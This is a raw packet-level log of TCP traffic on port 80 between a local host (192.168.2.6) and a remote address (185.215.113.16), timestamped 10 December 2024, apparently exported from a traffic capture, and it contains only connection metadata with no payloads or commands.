Dec 10, 2024 06:38:27.523710012 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.524458885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.524580002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.524736881 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.525595903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.525680065 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.525748014 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.526541948 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.526784897 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.526837111 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.527559042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.527676105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.527784109 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.528582096 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.528745890 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.528901100 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.529618025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.529746056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.529792070 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.530643940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.530751944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.531006098 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.531672955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.531856060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.532706022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.532758951 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.532875061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.532921076 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.533741951 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.533870935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.533915997 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.534780025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.534935951 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.534984112 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.535828114 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.535937071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.535979986 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.536847115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.536938906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.536983013 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.537859917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.537992001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.538033009 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.538898945 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.539007902 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.539053917 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.539912939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.540105104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.540225983 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.540955067 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.541016102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.541064024 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.542010069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.542119026 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.542174101 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.542805910 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.543039083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.543119907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.543159962 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.544044971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.544181108 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.545104027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.545156002 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.545377970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.545424938 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.546148062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.546329021 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.546369076 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.547146082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.547286034 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.547343016 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.548171997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.548281908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.548324108 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.549213886 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.549319029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.549364090 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.550230026 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.550345898 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.550389051 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.551265955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.551388979 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.551439047 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.552313089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.552422047 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.552581072 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.553328991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.553435087 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.553531885 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.554378033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.554481983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.554522038 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.555043936 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.555416107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.555519104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.556436062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.556482077 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.556539059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.556583881 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.557463884 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.557578087 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.558197021 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.558476925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.558696985 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.558733940 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.559559107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.559628963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.559719086 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.560560942 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.560667038 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.560709000 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.561575890 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.561680079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.561726093 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.562625885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.562722921 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.562768936 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.563682079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.563859940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.563906908 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.564677000 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.564701080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.564745903 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.605494976 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.686537027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.686635017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.686695099 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.687047958 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.687164068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.687201023 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.688055038 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.688155890 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.688198090 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.689066887 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.706851006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.706976891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.706988096 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.707340956 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.707385063 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.707438946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.708396912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.708446980 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.708513021 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.709413052 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.709459066 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.709482908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.710427999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.710540056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.710597038 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.711471081 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.711752892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.711801052 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.712492943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.712599039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.712637901 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.713506937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.713548899 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.713617086 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.714550972 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.714643955 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.714656115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.715598106 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.715645075 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.715702057 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.716674089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.716686010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.716732025 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.717648983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.717693090 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.717725039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.718668938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.718715906 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.718756914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.719703913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.719835997 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.719849110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.720731974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.720777988 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.720832109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.721750975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.721797943 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.721848965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.722798109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.722857952 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.722887039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.723861933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.723958015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.724001884 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.724796057 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.724848032 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.724884987 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.724953890 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.725918055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.725999117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.726052046 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.726948977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.726995945 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.727050066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.727957964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.728060961 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.728101969 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.728998899 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.729038954 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.729063988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.730021000 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.730104923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.730122089 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.731098890 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.731144905 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.731215000 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.732105017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.732151985 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.732204914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.733108997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.733217001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.733225107 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.734133959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.734210014 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.734239101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.735217094 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.735272884 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.735291004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.736215115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.736267090 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.736295938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.737231970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.737286091 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.737333059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.738265991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.738332033 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.738379002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.739308119 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.739363909 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.739388943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.740411043 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.740461111 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.740502119 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.740516901 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.741343975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.741409063 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.741455078 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.742364883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.742419004 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.742480993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.743418932 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.743513107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.743550062 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.744456053 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.744556904 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.744604111 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.745488882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.745531082 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.745651960 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.746537924 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.746550083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.746581078 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.747560978 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.747608900 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.747687101 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.748565912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.748611927 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.748656988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.749625921 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.749701023 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.749716043 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.750689983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.750741005 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.750747919 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.751684904 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.751732111 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.751827002 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.752732038 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.752743959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.752768040 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.753747940 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.753794909 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.753849030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.754769087 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.754827023 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.754841089 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.755810022 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.755995989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.756052017 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.756830931 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.756871939 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.756922007 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.800096989 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.829525948 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.878772974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.878845930 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.879013062 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.879170895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.879291058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.879355907 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.880239010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.880337954 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.880374908 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.881242037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.895008087 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.900382042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.900441885 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.900527954 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.900928020 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.900964975 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.901034117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.901897907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.901937962 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.902033091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.902960062 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.903004885 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.903073072 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.904303074 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.904350042 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.904475927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.904989958 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.905103922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.905143976 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.905275106 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.906008959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.906044960 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.906153917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.907130003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.907202959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.907239914 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.908087969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.908133984 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.908191919 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.909118891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.909198999 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.909265041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.910255909 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.910293102 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.910307884 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.911225080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.911292076 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.911302090 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.911521912 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.912233114 CET	80	49747	185.215.113.16	192.168.2.6
Dec 10, 2024 06:38:27.912282944 CET	49747	80	192.168.2.6	185.215.113.16
Dec 10, 2024 06:38:27.912337065 CET	80	49747	185.215.113.16	192.168.2.6
